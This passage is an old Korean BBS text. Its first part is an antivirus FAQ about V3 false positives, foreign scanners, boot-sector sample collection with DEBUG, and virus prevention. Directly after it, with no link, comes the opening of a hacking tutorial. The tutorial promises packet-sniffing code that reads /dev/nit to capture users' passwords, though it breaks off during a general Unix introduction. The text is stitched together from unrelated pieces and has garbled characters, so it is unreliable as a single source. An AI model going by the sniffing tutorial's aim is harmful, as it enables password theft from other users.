라 UNLZEXE, PKLITE의  -x 옵션이나 DIET의 -ra  옵션으로 푼 다음에 검사해본
다.

   넷째, 컴퓨터 바이러스를 감염시킬  목적으로 제작된 트로이 목마 프로그램
이 존재할 가능성이 있다.  트로이 목마 프로그램은 컴퓨터 바이러스를 가지고
있지만 백신  프로그램으로는 진단되지 않도록 만들어진  경우가 있다. 이러한
프로그램은 직접 찾기는  매우 어려우므로,'플루샷 플러스'등의 불특정 컴퓨터
바이러스 예방 프로그램을 먼저 실행시킨 다음에 이상한 행동을 보이는 프로그
램을 검사해 보는 방법을 사용해야 한다.

   만약에 위의 네  가지 가능성들을 모두 배제한  후에도 계속 동일한 컴퓨터
바이러스가 나타난다면 필자의 연락처로 문의를 한다.

10. 백신 프로그램이 컴퓨터 바이러스를 진단하고 치료하는 원리는 무엇인가?

   백신 프로그램에서 컴퓨터 바이러스를 진단하는 방법은 간단하다. 사람들은
각자에게 독특한 지문이  있다. 마찬가지로 컴퓨터 바이러스들도 프로그램이기
때문에 내부에 독특한 문자열(string)을  가질 수 있다. 백신 프로그램들은 컴
퓨터 바이러스의 독특한 문자열들을 가지고 있으면서 검사하는 파일 내부에 컴
퓨터 바이러스의 문자열들이 존재하는지를 비교한다.

   치료 방법 또한 간단하다.  컴퓨터 바이러스는 정상적인 프로그램을 변형시
켜서 자기 자신을 복사하는데, 백신 프로그램에서는 컴퓨터 바이러스가 변형해
놓은것을 반대로  바꾸어서 원래대로 복구시켜 준다.  백신 프로그램의 제작에
관심이 있는 사람들은 필자가 조만간 출간할 백신 프로그램의 제작기법에 대한
책을 참고한다.

                            -----------------------
                             백신 프로그램의 오진들
                            -----------------------

11. V3RES가  기억장소에 상주할 때면 SCAN에서  'EDV 바이러스'에 감염되었다

    진단한다. V3RES가 EDV 바이러스에 감염된 것인가?

   94년에 가장 많았던 질문 중의  하나이다. V3RES는 EDV 바이러스 진단을 위
해서 EDV 바이러스의 일부분을 내부에 가지고 있는데, SCAN이 기억장소를 검사
하는 과정에서 기억장소에 상주하고 있는 V3RES의 내부를 검사해서 EDV 바이러
스가 존재한다고 잘못 진단한다.

   이것은 SCAN의  진단이 잘못된  것이기 때문에  걱정할 필요는  없다. 또한
V3RES 버전 193 이상에서는 사용자들의  혼란을 막지 위해서 이런 일이 발생할
지 않도록 해놓았다. 최신 버전을 사용하면 더 이상 EDV 바이러스와 관련된 문
제로 곤란을 겪지 않을 것이다.

12. SCAN을 사용하면 기억장소가 '크리티컬 바이러스'(critical virus)에 감염
    되었다고 나온다.

   이 질문은 SCAN에서 출력하는  영어문장을 잘못 해석했기 때문에 빚어진 문
제이다. 대부분의 사람들은 아마  화면에 'VIRUS'라는 단어가 출력되면 무조건
겁부터  먹는다.   SCAN을  처음  실행시키면   기억장소를  검사하면서  항상
'Scanning memory for critical  virus'라는 말이 출력된다. 이 말은 크리티컬
바이러스에 기억장소가 감염되었다는  뜻이 아니라, 기억장소에 존재할지도 모
르는 치명적인 바이러스(critical virus)에 대한 검사를 시작한다는 뜻이다.

13. CPAV(Central  Point Anti-Virus)나 MSAV(Micro  Soft Anti-Virus)등 외국
백신들을 사용했더니 일부  프로그램들이 '박시나 로더'(Vacsina loader) 바이
러  스에 감염되었다고 나온다.

   일부 외국산 백신 프로그램들에서 진단하는 박시나 로더는 컴퓨터 바이러스
가 아니다. 박시나 바이러스(Vacsina virus)는  EXE 파일에 감염될 때 두 단계
를 거친다. 처음 EXE  파일이  실행되면 EXE파일을 내부적으로 COM 파일  형식

로 바꾼다. 두번째로 EXE 파일이 실행될 때 박시나 바이러스 자체가 감염된다.

   처음에 EXE 파일이  내부적으로  COM 파일 형식으로  바뀐 상태는 프로그램

동작에는 아무런 이상도 없으며 컴퓨터 바이러스도 아니므로 걱정할 필요가 없
다. 외국산 백신 프로그램의 사용시
박시나 로더라고 진단하는 것이 바로 이 단계이다. 박시나 바이러스 자체가 감
염된 경우는 V3에서  완벽하게 진단 및 치료가  가능하다. 즉 V3에서 진단되지
않고 다른 백신에서만 검색되는 박시
나 바이러스에 대해서는 전혀 걱정하지 않아도 된다.

14. AVSCAN이라는  외국산 백신  프로그램을 사용했더니   일부의 프로그램들이

'CPAV/TNT 바이러스'에 감염되었다고 나온다.

   이 경우도  컴퓨터 바이러스가 아니다.  CPAV(Central Point Anti-Virus)나
TNT라는 백신 프로그램에서는 면역(immunization)  기능이 있다. 이 기능을 사
용하면 원래의 파일 뒤에 변형될 때 경고의 말을 출력하는 프로그램이 붙는다.
이것을 AVSCAN에서는 CPAV/TNT 바이러스라고 진단하는 것이다.

   즉, 이러한 메시지가 출력되었다  해도 컴퓨터 바이러스는 아니므로 안심하
고 사용하기  바란다. 만약  성가시게 느껴진다면  CPAV나 TNT에서  면역 제거
(Deimmunization) 기능을  사용, 면역 기능을 제거하면  AVSCAN에서도 더 이상
이러한 진단을 하지 않는다.

15. 외국산 백신 프로그램을 사용했더니 기억장소에 컴퓨터 바이러스가 없다고
 나온다. 그러나 디스크에서는 컴퓨터 바이러스를 발견할 수 없었다.

   기억장소에서만 컴퓨터 바이러스가  발견되는 경우는 대부분 백신 프로그램
의 오진일 경우가  많다. 이러한 증상은 한  백신 프로그램을 실행시킨 다음에
다른 백신  프로그램을  실행시켰을때 흔히 발생한다. 백신 프로그램은 컴퓨터
바이러스의 진단을 위해서 그  일부를 내부에 가지고 있는데, 백신 프로그램의
실행이 종료된 다음에도 기억장소에 이러한 부분이 남아 있다가 다른 백신프로
그램을 실행시키면 이를 컴퓨터 바이러스로 오인한다. 확인하는 방법은 컴퓨터
를 일단 껏다가 다시 켠  다음에 바로 기억장소에서 컴퓨터 바이러스가 있다고
진단했던 백신  프로그램을 실행시켜 본다. 이때  컴퓨터 바이러스가 발견되지
않는다면 앞에서  설명했던 경우이기 때문에 안심하고  사용해도 되며, 만약에
계속 같은 컴퓨터 바이러스가 발견된다면 필자에게 연락을 한다.

16. V3버전 142를         용해서 'Eye Focus 바이러스'를  진단했지만 치료가 안

    다.

    V3 버전  142는 필자가 만든 것이  아닌 일종의 해커  버전이다. 또한 Eye
Focus 바이러스라는 것도  지금까지 발견된 적이 없는  바이러스이다. V3 버전
142는 사용하지 말고 최신 버전을 구해서 사용하도록 한다.

17. V3B  나  V3RES를 실행시켰더니  'No (known)   computer virus'라는 말이 출

    력된다. 신종 바이러스에 감염된 것인가?

   이 질문도 화면에 'VIRUS'라는 단어 출력되면 무조건 겁부터 집어먹기 때문
에 나온 것이다. 이 말은 지금까지 알려진 컴퓨터 바이러스는 발견되지 않았다
는 뜻이다. 백신 프로그램은 지금까지 알려진 컴퓨터 바이러스(known computer
virus)에 대해서만 검사를 할 수 있기 때문에, 지금까지 알려진 컴퓨터 바이러
스가 없으면 'No (known)  computer virus'라는 말을 출력한다. 그전에 알려진
컴퓨터 바이러스가 발견되지 않으면 '안전함(safe)'이라는 말을 출력했지만 신
종 컴퓨터 바이러스가  존재할 수도 있어 지금까지  알려진 컴퓨터 바이러스가
없다는 말로 대체했다.

18.도스  나들이   상태에서  V3RES를  실행시켰더니   '물고기  부트  바이러스

   '(Fish_B  oot virus)가 진단되었다.

   우선  V3RES는 예방  프로그램이기 때문에  AUTOEXEC.BAT에서 실행시키는
것이
지, 도스 나들이 상태에서 실행하면  안된다. 또 원칙적으로 도스 나들이 상태
에서 기억장소에 상주하는 프로그램을 실행시키면 안된다.

   물고기 부트 바이러스(Fish_Boot virus)는 다른 부트 바이러스처럼 일반 기
억장소의 최상위에 상주하지 않고 기억 장소에 중간에 상주하는 특징을 가지고
있다. 따라서 V3RES는 물고기 부트 바이러스를 검사하기 위해서 기억장소 중간
부터 검사를 하는 방법을 사용한다.  그러나 도스 나들이 상태에서 V3RES를 실
행시키면 기억장소 중간 이상의 위치에 V3RES 프로그램이 상주하면서, 자기 자
신이 가지고 있는 물고기 부트 바이러스의 일부분을 바이러스라고 진단한다.

   또한 물고기 부트 바이러스는 부트 바이러스의 치료용인 V3B로 완벽하게 진
단과 치료가 된다. 따라서 V3B로  진단해서 이상이 없는 경우에는 안심하고 사
용하기 바라며, 다음 버전의 V3RES에서는 사용자들의 혼란을 막기 위해서 도스
나들이 상태에서 실행시키더라도 그러한 말이 출력되지 않게 하겠다.

                      -----------------------------
                      외국산 백신 프로그램의 사용법
                      -----------------------------

19. 외국산 백신은 어떤 것들을 사용해야 하는가?

   많은 사람들이 고민하고 있는  부분이다. 백신의 특성상 바이러스를 완벽하
게 퇴치하기란 불가능한 현실에서 V3만을 의존할 수 없다. 백신들의 특성상 바
이러스가 출현하고, 해당 바이러스 샘플이 백신 제작자들에게 들어가야만 그에
대응하는 백신이 나올 수밖에 없는 현실상 외국의 통신망까지 통해 무차별적으
로 쏟아져 들어오는 컴퓨터 바이러스에 완벽하게 대항한다는 것은 사실 역부족
이다.

   외국산 백신   프로그램중 가장 대표적인   것으로 SCAN과 CLEAN을  들  수

다.SCAN, CLEAN은 작년 하반기에 버전 117을  끝으로 이 둘이 통합된 SCAN 버

2.x로 바뀌었다. 그러나  SCAN 버전 2.x는 예전의  버전 117보다 검색, 치료할
수 있는 컴퓨터 바이러스의 숫자가 오히려 줄어들었고 오진도 많아졌다는 것이
일반적인 평가이다. 이에 따라 아직은 SCAN, CLEAN 버전 117을 쓰도록 한다.

   새롭게 등장한 백신 중에서 권하고 싶은 것으로 TBAV와 F-PROT이 있다.

   TBAV는 네델란드에서 만든 셰어웨어  백신 프로그램으로, 부트 섹터나 파일
에  조금이라도 의심이  가는 부분이  발견되면  즉각 'might  be  an unknown
virus'(신종바이러스에 감염되었을 가능성이  있습니다)라는 말을 출력하여 사
용자들로 하여금 주의를 촉구한다. 물론 그런 말을 출력한다고 모두 컴퓨터 바
이러스는 아니지만 의심가는 부분은 예민하게 검사해주는 백신 프로그램이다.

    F-PROT는 아이슬랜드의 Fridrick Skulason이 만든 셰어웨어 백신 프로그램
으로, 변종 바이러스를 포함해서 4,000가지가 넘는 컴퓨터 바이러스들을 검색,
치료한다. 외국의  한 컴퓨터 바이러스 관련단체에서  실시한 시험에서 SCAN을
누르고 검색율 부분에서 1위를 차지한 적도 있다.

    도스에 포함되어 있는 MSAV를  비롯하여 대표적인 상업용 백신 프로그램인
CPAV(Central Point Anti-Virus)와  NAV(North Anti-Virus)는 외국통신망의 해
당 포럼에  가서 업데이트(UPDATE.DAT) 파일을 매번  받아 버전업시켜야 한다.
그렇지 않으면  신종 컴퓨터 바이러스를 전혀  진단할 수 없다.  또한 VIRX 와
TNT 백신은 사용하지  않도록 한다. 오진율이 높기  때문에 사용자들의 혼란을
초래하는 경우가 많고 치료 기능이 없기 때문이다.

20. SCAN에서 'GenP, GenB  바이러스'라고 진단하며, CPAV에서 'Viral Code B'
    에 감염되었다고 진단한다.

    SCAN에서는 아직 알려지지 않은 부트 바이러스를 GenB. GenP등으로 진단한
다.  즉,  GenB나 GenP는 특정한 컴퓨터  바이러스의 이름이 아니다. CPAV에서
진단하는 Viral Code  B도 같은 의미이다. 이러한  말이 출력되었을 때는 V3의
부트 바이러스 전용 백신  프로그램인 V3B를 사용해서 진단해본다. 만약 V3B로
진단이 되지 않는다면 새로운 부트 바이러스일 가능성이 높으므로 다른 사람들
의 피해를 막는다는 의미에서 필자에게 연락한다.


                              ------------
                              V3의 사용법
                              ------------

21. V3의 사용법은?

   해당 V3*.ZIP에 포함되어  있는 *.DOC 파일을 읽으면  간단하게 알 수 있는
사용법들을  의외로  많은  사람들이   모르고  있다.    V3.COM,  V3-KS.COM,
V3-TG.COM은 치료용 백신 프로그램으로  각각 영문, 완성형 한글, 조합형 한글
버전이지만 출력되는 언어만 다를 뿐 기능은 동일하다.
   사용법은'V3 [드라이브] [디렉토리]  [파일이름]'을 입력하면 된다. 드라이
브만 지정했을 때는 그  드라이브의 모든 파일들을 검사하고, 디렉토리를 지정
했을 때는 그  디렉토리의 모든 파일들을 검사하며,  파일을 지정했을 때는 그
파일만 검사한다. 그 밖에도 몇가지 옵션이 있으며 V3만 실행키면시 옵션에 대
한 간단한 설명을 볼 수 있다.

   V3B.EXE는 부트 바이러스 전용 백신 프로그램이다. 부트 바이러스들만 치료
/검색하며 V3.COM과는 달리 한 프로그램 내에서 영문, 완성형 한글, 조합형 한
글을 모두 가지고 있으면서  자동으로 시스템에 맞는 언어  사용한다. 차후에
는 V3도 이러한 모습을 갖추게  될 것이다. 한편, V3RES.EXE는 예방용 백신 프
로그램이다. AUTOEXEC.BAT에  넣어두고 컴퓨터를  켰을 때 자동적으로  실행될

있게 해두면 지금까지 알려진 컴퓨터 바이러스들을 가장 간단하고 확실하게 예
방 할 수 있다.

22. V3의 최신 버전을 구하는 방법은?

   V3의 최신 버전은 필자가  하이텔, 천리안, 나우누리, 포스서브의 공개자료
실에 직접 올리고 있다. 따라서 컴퓨터 통신을 하는 사람들은 공개자료실에 필
자가 직접 올린 것을 받아서 사용한다. 공개자료실에 있는 것보다 버전이 높은
것이 다른 동우회 자료실이나 사설 BBS에 있다면 해커 버전일 확률이 높으므로
사용하지 않도록 한다.

   불에 데어본 사람만이 불의  무서움을 알듯이, 컴퓨터 바이러스때문에 자신
만의 소중한 데이터를 한순간에 날려본  쓰라린 경험이 있는 사람만이 백신 프
로그램 최신 버전의 소중함을 알 것이다. 백신 프로그램은 언제나 최신 버전을
사용해야 한다는 것을 다시 한 번 강조한다.

23. V3를 사용하나 기억장소의 크기가  640KB보다 줄어든 것으로  나오면서 기
억   장소  검사에서 '알려지지  않은  바이러스에 감염되었을  가능성이 있다
'(probably  infected with unknown computer virus)고 한다. 그 대책은?

   원칙적으로 컴퓨터 일반 기억장소는 640KB의 크기를 가진다. 일반 기억장소
의 크기가 줄어드는  현상은 부트 바이러스일 경우도  있지만 컴퓨터 자체에서
정상으로 사용하는 경우도  많다. 일부 BIOS를 사용하는  컴퓨터는 639로 나오
며, 요즈음 많이  사용하는 펜티엄 PCI 기종은  기본 메모리가 637로 나오기도
한다.

   기억장소가 줄어든 것이 정상적인  것인지, 아니면 컴퓨터 바이러스에 의한
것인지를 확인해보는 방법은 감염되지 않은 깨끗한 도스 디스켓으로 부팅한 다
음에 기억장소의 크기를 검사하면  된다. 깨끗한 도스 디스켓으로 부팅한 다음
에도 기억장소의 크기가  하드디스크로 부팅했을때와 동일하다면, 컴퓨터 자체
에서 정상으로 기억장소의 일부를 사용하는 경우이므로 걱정하지 않아도 된다.

   물론 다른 경우에는 부트 바이러스일 가능성이 높다. 부트 바이러스일 경우
라면 최신 버전의 V3B(부트  바이러스 전용 백신)를 먼저 사용해보고, V3B로도
진단이 안될 때는 28번의 질문에 대한 답을 참고해서 필자에게 연락한다. 신종
부트 바이러스로 판명나면 샘플을 받는  즉시 하루 내로 최신 버전의 V3B를 만
들어 보내고 있다.

24. 깨끗한 도스 디스켓이란 무엇인가?

   깨끗한 도스 디스켓이란 컴퓨터  바이러스에 감염되지 않았을 때 만든 부팅
디스켓을 말한다.  FORMAT A: /S명령을 사용하면  포맷하면서 도스 프로그램을
디스켓에 동시에 저장할 수 있으며,  이미 포맷된 디스켓에서는 SYS A: 명령으
로  간단하게  도스 프록스램을  옮길  수  있다.  그  밖에도 CONFIG.SYS  와
AUTOEXEC.BAT, 윈도우의 *.INI 파일들, CMOS RAM의 내용들도 백업을  해두면

약의 사태에 유용하게  사용할 수 있다. 도스  디스켓에는 반드시 쓰기방지 탭
(write protect tab)을 붙여 둔다.  쓰기방지 탭을 붙인 디스켓은 절대로 컴퓨
터 바이러스에 감염되지 않는다.

    이렇게 만든 깨끗한 도스 디스켓은 컴퓨터 바이러스가 의심될 때 검사용으
로 사용할 수 있을 뿐만  아니라 하드디스크가 여러가지 원인으로 부팅되지 않
을 때 A 드라이브로 부팅해서 하드디스크를 복구시킬 수도 있다.

    도스 디스켓은  컴퓨터 사용자라면 필수적으로 만들어  두어야 한다. 만약
아직도 만들어 놓지 않은 사람이 있다면 당장 이 글을 읽기를 중단하고 만들길
권한다.

25. V3를 실행시키니 '알려지지  않은 바이러스에 감염되었을 가능성이 있습니
다  (probably infected with unknown computer virus)'라고 출력된다. 어떻게
해야 하는가?

    위의 말은 다음과 같은 두 가지 경우에 출력된다.

   첫번째는 일반 기억장소의 크기가 감소하면서 기억장소 검사 과정에서 나타
난다. 이 경우 23번을 참고한다.

   두번째는 프로그램(V3.COM, V3RES.EXE 등) 자체가 변형되었을 때이다. 이때
는 제작자에게 보내달라는(Please send  this program to copyrighter)말도 함
께 출력된다. 이러한 경우가  발생할 때는 신종 컴퓨터 바이러스에 감염되었을
가능성이 높으므로 그런 말이 출력되는 V3 프로그램 자체를 필자에게 보낸다.

26. V3에서는 'Dir∥바이러스'가 치료되지 않는가?

   V3에는 Dir∥바이러스의 진단 및  치료 기능이 있다. 그러나 Dir∥바이러스
는 기억장소에 존재할때 백신  프로그램을 실행시키면 백신 프로그램이 감염되
어 실행되지 않는다. 일단 감염된 백신 브로그램은 절대로 사용하면 안된다.

    Dir∥바이러스를 치료하기 위해서는 우선 감염되지 않는 것이 확실한 도스
디스켓과 V3를 새로 복사해와야 한다. 이 도스 디스켓으로 부팅시킨 후 가져온
V3로 고치면 치료가 된다.단, V3는  치료할 수 있는 것은 사용자들에게 물어보
지 않고 자동으로 치료하지만  당장 치료가 불가능한 것은 '지울까요?'라고 사
용자에게 물어본다. 이때 지우지 말고  한 번 더 깨끗한 도스 디스켓으로 부팅
한 다음에도 '지울까요?'라는 말이 출력되면 그 때는 고칠 방법이 없다는 뜻이
니 Y를 눌러서 삭제한다.

27. V3의 향후 계획은?

   필자는 외국 유학을 앞두고 V3의  버전업 및 관련 업무들을 전담할 백신 연
구소의 설립을 추진하고 있다. 현재 대기업들의 도움을 받아서 비영리 법인 형
태를 만들려 하고 있으며,  이렇게 된다면 지금까지와 같이 계속 소프드웨어로
많은 사용자들에게 도움을 줄 수 있을 것이다.

   현재로선 몇몇 대기업들이 영리상의  이유로 거절을 한 형편이어서 성사 여
부가 불투명하지만 만약 주식회사가 된다 할지라도 셰어웨어의 형태로 이 일을
유지해나갈 생각이다.백신 연구소가 설립되면 먼저 V3 와 V3RES의 전면 개정판
을 만들어 신종 바이러스들에  대해서는 신속하게 버전업을 해나갈 것이며, 윈
도우즈용과 LAN의 파일 서버용 버전을 만들어 발표할 계획이다.

   그 밖에도 전용 전화 및 컴퓨터 통신망에 별도의 난을 만들어서 사용자들의
문의에 신속하고 정확한 해결책을  제공하고자 한다. 컴퓨터 바이러스 관련 단
기 교육과정도 개설할 예정이다.

                            ---------------------
                            감염 표본의 수집 방법
                            ---------------------

28. 부트 바이러스를 보내는 방법은?

   파일 바이러스는 컴퓨터 통신의 편지 보내기로 쉽게 전송이 가능하다. 그러
나, 부트 바이러스는 파일 형태로  된 것이 아니기 때문에 통신망을 통해서 전
송하는데 어려움을 느끼는 사람들이 많다.

   가장 손쉬운 방법은 감염된  디스켓 자체를 우편으로 필자에게 보내주는 것
이다. 그러나 다음의      萱껦 이용하면 부트 바이러스도 컴퓨터 통신망을 통해
서 필자에게 보낼 수 있다.  감염된 부트 섹터의 영역을 파일로 만드는 방법은
다음과 같다.

1. 하드디스크의 감염을  플로피디스크로 옮기고, 플로피디스크에서 감염된 부
분을 채취하는 방법
          1) 하드디스크로 부팅을 한다.
          2) A 드라이브에 포맷된 디스크를 넣고 DIR 명령을 몇 번 실행한다.
          3) 이 디스켓으로 부팅을 시켜서 기억장소의 크기가 준 것을 확인한
다.
          4) 감염되지 않은 깨끗한 도스 디스켓(질문 24 참조)으로 부팅을 한
다.
          5) A 드라이브에 감염시킨  디스켓을 넣고 도스의 DEBUG 프로그램을
실행시킨다.

                     A>DEBUG
                     -L 100 0 0 1 (B 드라이브의 경우는 : -L 100 1 0 1)
                     -RCX 200
                     -N BOOT (->생기게 될 파일 이름)
                     -W
                     -Q


2. 하드디스에서 직접 감염된 부분을 채취하는 방법
          1) 감염되지 않은 깨끗한 도스 디스켓으로 부팅을 한다.
          2) 노턴 유티리티의 DISKEDIT.EXE 또는 DE.EXE를 실행한다.
          3) Tool 메뉴에서 Configuration을 선택하여 Read Only가 체크 안된
            상태로 만든다.
          4) Objet 메뉴에서 Partition table을 선택한다.
          5) Tool 메뉴에서 Write object to를 선택하고, 다음 화면에서 to a
             file을 선택하고,  파일 이름(MBS등)을  입력하면 파일이 만들어
             진다.
          6) Object 메뉴에서 Boot Record를 선택한다.
          7) Tool 메뉴에서 Write object  to 를 선택하고, 다음 화면에서 to
             a file을 선택하고, 파일 이름(DBS등)을 입력하면 파일이 만들어
            진다.


                         생성된 파일을 컴퓨터  통신을 통해서 필자에
            게 보낸다. 통신망의 ID는  이 글의 마지막에 나와 있다.

                          ------------------------
                          컴퓨터 바이러스의 예방법
                          ------------------------

29. 파일의  속성(file attribute)을 읽기전용(read  only)으로 만들어 놓으면
    컴퓨터  바이러스에 감염되지 않는다는 말을 들었다. 사실인가?

   일부의 파일 바이러스들은 일기전용  파일을 감염시킬 수 없지만, 대부분의
파일 바이러스들은  파일의 읽기전용 속성을 해제한  다음에 감염된다. 따라서
파일의 속성을 읽기전용으로 바꾸더라도  컴퓨터 바이러스의 예방에는 거의 도
움이 되지 않는다.

30. 컴퓨터 바이러스에 대한 예방법은?

   컴퓨터 바이러스에 대해서  100% 안전할 수 있는  방법은 존재하지 않는다.
그러나 다음의 사항들만 잘 지킨다면 거의 대부분의 피해를 막을 수 있을 것이
다.

감염되지 않은것이 확인된 깨끗한 도스 디스켓에 쓰기방지 탭
(write-protect tab)를 붙여서   비상시 사용할 수 있도록 준비해 둔다.
2. 중요한 프로그램이나 자료는 항상 백업(backup)해놓는다.
3. 상업용 소프트웨어는 불법 복사를 하지 않고 정품만을 사용한다.
4. 셰어웨어나 공개 소프트웨어는  컴퓨터 전문가가 오랫동안 문제없이 사용하
   고 있는 것을 복사해오거나, 통신을  통해서 받는 경우에는 등록된지 1주일
   이상 경과했고 다른 사람들이 문제없이 사용하고 있는 것을 받는다.
5. 하드디스크가 없는 컴퓨터에서는 반드시 위에서 준비한 도스 디스켓으로 부
   팅을 시키고, 하드디스크가 있는 컴퓨터에서는 반드시 하드디스크로 부팅을
   시킨다.
6. 여러 사람이 사용하는 컴퓨터에서는 항상 전원을 끈 다음에 자신의 도스 디
   스켓으로 부팅을 시킨다.
7.  AUTOEXEC.BAT에서  최신  버전의  특정  컴퓨터  바이러스  예방  프로그램
(V3RES,
   VSHILED등)과 디스크 시스템   영역 저장 프로그램(노턴 유틸리티의 IMAGE,
   PC 툴즈의 MIRROR등)을 실행시켜  놓는다.
8. 새로운 프로그램을 사용할 때는 두 세개 정도의 최신 버전의 백신 프로그램
   을 사용해서 검사 하고, 정기저으로 모든 디스크를 검사한다.

    이상의 30가지 질문과 답을 잘 알아둔다면 대부분의 의문점들은 해결할 수
있을 것이다. 그 밖의 질문이  있거나 V3로 해결되지 않는 신종 컴퓨터 바이러
스를 발견한 사람은 컴퓨터 통신이나  우편으로 보내주면 가능한 한 빠른 시일
내에 답변하도록 하겠다. 문의를 할  때는 사용한 백신 프로그램의 이름, 버전
및 진단명, 이상 증세등을 자세하고 정확하게 알려주어야 빠른 시일 내에 답변
을 받을 수 있다.

   특히 신종 컴퓨터 바이러스의 경우에는 샘플을 보내는 것이 본인 뿐만 아니
라 다른 많은 사용자들의 정신적,  물질적 피해까지 줄인다. 신종 컴퓨터 바이
러스임이 확인되면 컴퓨터 잡지에 분석기사를 쓰거나 단행본을 발간할 때 최초
발견자로 기록하도록 하겠다.


안녕하세요.

열번째 시간입니다.

이번 시간에는 해킹유형과 그 방법에 대한 서론부터 이야기 하겠습니다.

그리고 패킷을 이용한 해킹 방법의 소스를 포함했습니다.
 /dev/nit를 보면 유닉스 시스템에서 돌아다니는 패킷을 읽을수있습니다
그것은 곧 외부시스템으로 빠지거나,로긴하는사람의 패킷도 읽을수 있죠
즉 패스워드도 바로 텍스트로 저장되게 할수있습니다




1. 유닉스 & 인터넷 그리고 해킹

1-1 인터넷 & 유닉스의 이해

인터넷(Internet)이란 전세계적인 통신망이란 사실은 이미 알고있을것이다.

 우리나라에만 하이텔,천리안,나우컴..... 무수한 통신망이 존재한다.
 인터넷이란 이런 각종 통신망이 하나로 연결된 망중의 망이다.

이렇게 인터넷으로 묶인 컴퓨터들은 대부분 UNIX라는 운영체제를 쓴다.
인터넷 접속시 천리안,하이텔등에 접속하면 나오는 메뉴와는 차이가 나는데
상대방 컴퓨터에 연결되면 마치 자신의 컴퓨터를 부팅시킨 후와 마찬가지로
c:\> 와같은 prompt가 떨어 진다.
키보드는 우리 집에 있지만 컴퓨터는 외국에 있는 것과 비슷한 효과를 보이게 된다.
원래 유닉스(UNIX)라는  운영체제는 시스템 공유를 위한  멀티 운영 체제이다.
초기의 DOS는  이 UNIX를 본따서  만든 것이지만 그것은 오직 한 명의 컴퓨터 유저만을
위한 운영체제이다.
 컴퓨터를 켜고 자기 혼자서 게임을 하고 문서를 작성하는 식이다.하지만
 이 UNIX는 여러 개의 단말기와 연결되어 수많은 사람들이 동시에 컴퓨터
 를 쓸 수 있도록 개발된 운영체제이다.
 예를 들어  도스에서의 파일 리스트 출력 명령인 dir은 ls명령으로 하고
 파일 삭제 명령인 del은 rm으로 한다.물론 도스와 유닉스가 사용법이
 엇비슷하다고는 하지만 실제적으로 다가서면 좀더 많은 차이를 느끼게
 된다.유닉스는 도스처럼 단순유저용이 운영체제가 아니라서 대단히 복잡
 한 문제를 안고 있기 때문이다.우선 유닉스가 멀티운영을 하고 있고 또한
 정보 공유를 위해서 만들어진 운영체제인 만큼 컴퓨터끼리의 통신과 보안
 등이 문제된다.
 유닉스 시스템에 접속을 하면, login을 물어본다.상대방의 계정(통신망의
 ID와 비슷한 개념)을 물어온다.그리고 암호를 확인 한 후에 도스에서와
 같이

  /home1/id>    (도스에서 c:\> 와 비슷..)

 이런 프롬프트가 출력된다.그러면 우리는 이곳에서 도스와 마찬가지로
 파일을 삭제하고 카피하고 전송하고 만드는 등의 작업을 수행할 수 있다.
 그런데 이렇게 여러사람이 시스템을 공유하다보니 내가 만든 것을 남
 에게 보여주어서는 안되는 것이 있다.기밀문서나 힘들여 만든 프로그램,
 공개해서는 안되는 것들등이다.이런 것들을 공개된 파일과 구별하기 위해서
 유닉스에서는 파일의 삭제(수정), 복사, 실행 하는 권한을 명확히
 구분해 놓고 있다.파일마다 자신의 주인이름(그 파일을 컴퓨터에 카피해
 놓았거나 생성시킨 사람)의 기록되어 있어 그 주인은 그 파일의 삭제,
 복사(열람), 실행에 관하여 각각 다르게 권한을 부여할 수 있다.
 공개하거나 감추거나 하는 것은 모두 그 파일의 생성자가 조정할 수 있다.


1-2  유닉스 & 인터넷에서의 해킹이란

인터넷 해킹이야기를 많이 들었을것이다.
인터넷이 왜 그렇게 해킹을 잘 당하냐구 궁금해 할것이다.
이유는 간단하다.
인터넷은 아직 그 기능적인 면이 취약하다.
어떤 강력한 조직체에서 일괄적인 관리를 하는게 아니니 더욱 그러하다.
대부분의 인터넷 관련 명령어들이 유닉스상에서 명령어를 사용한다.
그렇기때문에 유닉스에 대해 잘알고 있는 사람이라면 해킹은 충분히 가능하다..
천리안도 호스트는 유닉스지만 명령어를 바꿔서 쓰기때문에 해킹이 힘들어
지는 것이다.
인터넷에서 가장 유명하고 현재도 쓰이는 공격법으로 E-MAIL(전자우편)을 이용한 방법이 있다.
E-MAIL 상의 버그를 이용한 것으로  바이러스 프로그램이 자동으로 여러 사용자에게 자신을 전
파하여 메일을 읽으면 바이러스가 작동하는 것이다.
 일단 이 유닉스가  인터넷에 연결되면 편지를 보내는 기능부터  파일을 전송하는 부분까지 몽땅
다른 컴퓨터에 대해  열려 있어서 연결된  아무 곳에나 편지나 파일을 보낼 수 있다.(물론
 받을 수도 있다.)
 전세계 회선이 가 있는 컴퓨터이면 어느 곳이나 가능하다.하지만 이 것이
 가능하기 위해서는 일정한 전송 규약이 있어야 한다.편지의 형식은 어떤
 것으로 정해서 어떤 식으로 전송한다는 하나의 약속이다.이런 것들을
 전숑규약(protocol이라고 한다.현재 우   나라에서 많이 쓰이는 도스용
 zmodem도 일종의 protocol이다.파일을 보내기 위해서 동시에 약속한 일종
 의 전송 규약이기 때문이다.
 그런데 이렇게 정보가 왔다가 갔다가 하니 자칫 잘못하면 내가 사업상으로
 중요하게 작성한 문서를 프랑스에 보냈는데 그것이 누설 될 수가 있다.
 중간에 회선을 통해 가는 정보를 누군가 중간에서 가지고 갈 수 도 있다.
 보안이 문제되는 것이다.천리안,하이텔 등에서는 보안문제가 인터넷에 비해서는
 그리 심각하지 않다. 유닉스 명령어와는 다른 특수한 호스트 프로그램을 쓰기 때문에
가장 커다한 보안문제는 기껏해야 아이디 도용으로 인한 개인적인 피해일 뿐이다.
어떤 사람이 다른 사람의 암호를 우연히 알아내어
 대신 사용한다든지(이 사용으로 불법적인 일을 몇가지 할 수 있을 것이다)
 하는 수준이다.실제로 대형 통신망에서의 해킹은 몇몇 지각없는 사용자들이
 사설비비에스와 동일한 암호를 사용해서 그 사설비비에스의 암호파일이
 도난 당하는 경우 피해를 본다든가 자신과 가까운 이에게 암호를 들킨 경
 우 뿐이다.그러나 인터넷의 경우에는 해킹이라는 것이 얼마나 치명적인지
 상상을 할 수 없을 정도다.유닉스 시스템에는 슈저 유저(super user)라는
 것이 있다.개개인의 사용자들은 철저히 자신의 정보를 보호할 수 있지만
 누군가 그 유닉스 시스템을 효율적으로 관리할 필요가 있다.모든 파일에
 대한 삭제, 수정이 자유롭고 완벽하게 초인적인 권리를 지닌 계정이 필요한
 것이다.그것을 슈퍼 유저라고 한다.(그런데 계정입력하고 유닉스에 접속하
 는 것은 완벽하게 일반 유저와 동일하다.단지 권한이 막강하다는 것 뿐이
